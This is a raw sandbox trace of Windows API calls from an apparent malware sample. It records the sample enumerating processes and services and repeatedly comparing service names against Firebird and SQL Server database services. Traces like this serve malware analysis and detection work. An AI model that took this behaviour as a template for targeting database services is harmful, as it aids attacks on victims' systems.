	[0162.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0162.428] lstrlenW (lpString="ShellHWDetection") returned 16
	[0162.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0162.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0162.428] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0162.428] lstrlenW (lpString="Spooler") returned 7
	[0162.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0162.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0162.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0162.428] lstrlenW (lpString="StateRepository") returned 15
	[0162.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0162.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0162.429] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0162.429] lstrlenW (lpString="SysMain") returned 7
	[0162.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0162.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0162.429] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0162.429] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0162.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0162.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0162.429] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0162.429] lstrlenW (lpString="Themes") returned 6
	[0162.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0162.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0162.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0162.429] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0162.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0162.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0162.429] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0162.429] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0162.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0162.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0162.429] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0162.429] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0162.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7a4308 | out: hHeap=0x710000) returned 1
	[0162.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e0
	[0162.436] Process32FirstW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0162.436] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0162.436] lstrlenW (lpString="System") returned 6
	[0162.437] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0162.437] lstrlenW (lpString="smss.exe") returned 8
	[0162.437] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0162.437] lstrlenW (lpString="csrss.exe") returned 9
	[0162.437] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0162.438] lstrlenW (lpString="wininit.exe") returned 11
	[0162.438] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0162.438] lstrlenW (lpString="csrss.exe") returned 9
	[0162.438] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0162.439] lstrlenW (lpString="winlogon.exe") returned 12
	[0162.439] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0162.439] lstrlenW (lpString="services.exe") returned 12
	[0162.439] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0162.439] lstrlenW (lpString="lsass.exe") returned 9
	[0162.439] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0162.440] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0162.440] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0162.440] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0162.440] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.674] lstrlenW (lpString="svchost.exe") returned 11
	[0162.674] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.674] lstrlenW (lpString="svchost.exe") returned 11
	[0162.674] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0162.675] lstrlenW (lpString="dwm.exe") returned 7
	[0162.675] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.675] lstrlenW (lpString="svchost.exe") returned 11
	[0162.675] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.676] lstrlenW (lpString="svchost.exe") returned 11
	[0162.676] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.676] lstrlenW (lpString="svchost.exe") returned 11
	[0162.676] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.676] lstrlenW (lpString="svchost.exe") returned 11
	[0162.676] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.677] lstrlenW (lpString="svchost.exe") returned 11
	[0162.677] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.677] lstrlenW (lpString="svchost.exe") returned 11
	[0162.677] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.678] lstrlenW (lpString="svchost.exe") returned 11
	[0162.678] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.678] lstrlenW (lpString="svchost.exe") returned 11
	[0162.678] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.678] lstrlenW (lpString="svchost.exe") returned 11
	[0162.678] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.679] lstrlenW (lpString="svchost.exe") returned 11
	[0162.679] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0162.679] lstrlenW (lpString="spoolsv.exe") returned 11
	[0162.680] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.680] lstrlenW (lpString="svchost.exe") returned 11
	[0162.680] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0162.680] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0162.680] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0162.681] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0162.681] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0162.681] lstrlenW (lpString="audiodg.exe") returned 11
	[0162.681] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0162.682] lstrlenW (lpString="Memory Compression") returned 18
	[0162.682] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0162.682] lstrlenW (lpString="taskhostw.exe") returned 13
	[0162.682] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0162.682] lstrlenW (lpString="sihost.exe") returned 10
	[0162.682] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0162.683] lstrlenW (lpString="svchost.exe") returned 11
	[0162.683] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0162.683] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0162.683] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0162.684] lstrlenW (lpString="taskhostw.exe") returned 13
	[0162.684] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0162.684] lstrlenW (lpString="explorer.exe") returned 12
	[0162.685] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0162.685] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0162.685] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0162.685] lstrlenW (lpString="SearchUI.exe") returned 12
	[0162.685] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0162.686] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0162.686] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0162.686] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0162.686] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0162.687] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0162.687] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0162.687] lstrlenW (lpString="cmd.exe") returned 7
	[0162.687] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0162.688] lstrlenW (lpString="conhost.exe") returned 11
	[0162.688] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0162.688] lstrlenW (lpString="mode.com") returned 8
	[0162.688] Process32NextW (in: hSnapshot=0x3e0, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0162.688] CloseHandle (hObject=0x3e0) returned 1
	[0162.688] Sleep (dwMilliseconds=0x1f4) 
	[0163.389] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40a5d98
	[0163.412] EnumServicesStatusExW (in: hSCManager=0x40a5d98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0163.415] GetLastError () returned 0xea
	[0163.415] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40a6640
	[0163.415] EnumServicesStatusExW (in: hSCManager=0x40a5d98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40a6640, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40a6640, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0163.415] CloseServiceHandle (hSCObject=0x40a5d98) returned 1
	[0163.416] lstrlenW (lpString="AppXSvc") returned 7
	[0163.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0163.416] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0163.416] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0163.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0163.416] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0163.416] lstrlenW (lpString="Audiosrv") returned 8
	[0163.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0163.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0163.416] lstrlenW (lpString="BFE") returned 3
	[0163.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0163.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0163.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0163.416] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0163.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0163.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0163.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0163.416] lstrlenW (lpString="CDPSvc") returned 6
	[0163.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0163.417] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0163.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0163.417] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0163.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0163.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0163.417] lstrlenW (lpString="CryptSvc") returned 8
	[0163.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
